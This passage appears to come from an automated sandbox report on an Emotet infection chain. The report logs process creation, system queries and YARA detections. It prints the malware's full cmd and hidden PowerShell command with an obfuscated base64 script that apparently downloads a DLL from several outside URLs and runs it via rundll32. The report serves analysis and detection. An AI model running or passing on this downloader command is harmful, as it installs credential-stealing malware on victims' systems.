QwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vobicwh\otzfel.hzn',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uxgydceommtwiki\qzhrxsieatmrnj.xlc',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bdzitbg\obtbak.jsi',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xewbyzlpihpnskgh\wwdzuofqhkcpmfa.gyu',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qakdocqxk\cjwfvfif.ylv',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hutifyziasbygiy\qhmiqrfpmiryum.ywy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tsbimf\rxvqt.dyw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zqkhe\wtjq.kha',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rimdqgeexmnm\pcwmnbkufem.jtj',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xoteg\llch.amx',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vaxphioewmusne\ukdxjhhssdymm.ubj',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Widpnptibmnvlc\vizfdwjpjtiec.yqj',Control_RunDLL
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0A
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ Jump to behavior

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003D00 cpuid 7_2_10003D00
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 7_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 7_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 7_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 7_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 7_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 7_2_10030D3E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10029719
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10029878
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_100298AA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_1002A1D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 8_2_100303BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10030661
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_100306CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: EnumSystemLocalesW, 8_2_10030765
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 8_2_100307F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_10030A43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_10030B69
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoW, 8_2_10030C6F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 8_2_10030D3E
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002A210 GetSystemTimeAsFileTime, 7_2_1002A210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100012B1 GetVersionExA,CreateWindowExA,ShowWindow,UpdateWindow, 7_2_100012B1
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000C.00000002.2095952053.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2107348022.0000000000691000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2087899639.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2095884659.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2089448478.0000000000160000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2101888822.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2091105299.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2089495530.0000000000181000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2107314831.0000000000670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2101676455.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2097335111.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2103601856.0000000000130000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2095271889.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2109173183.0000000000240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2100125404.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2087918184.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2337393859.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2091148217.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2109198053.0000000000261000.00000020.00000001.sdmp, type: MEMORY
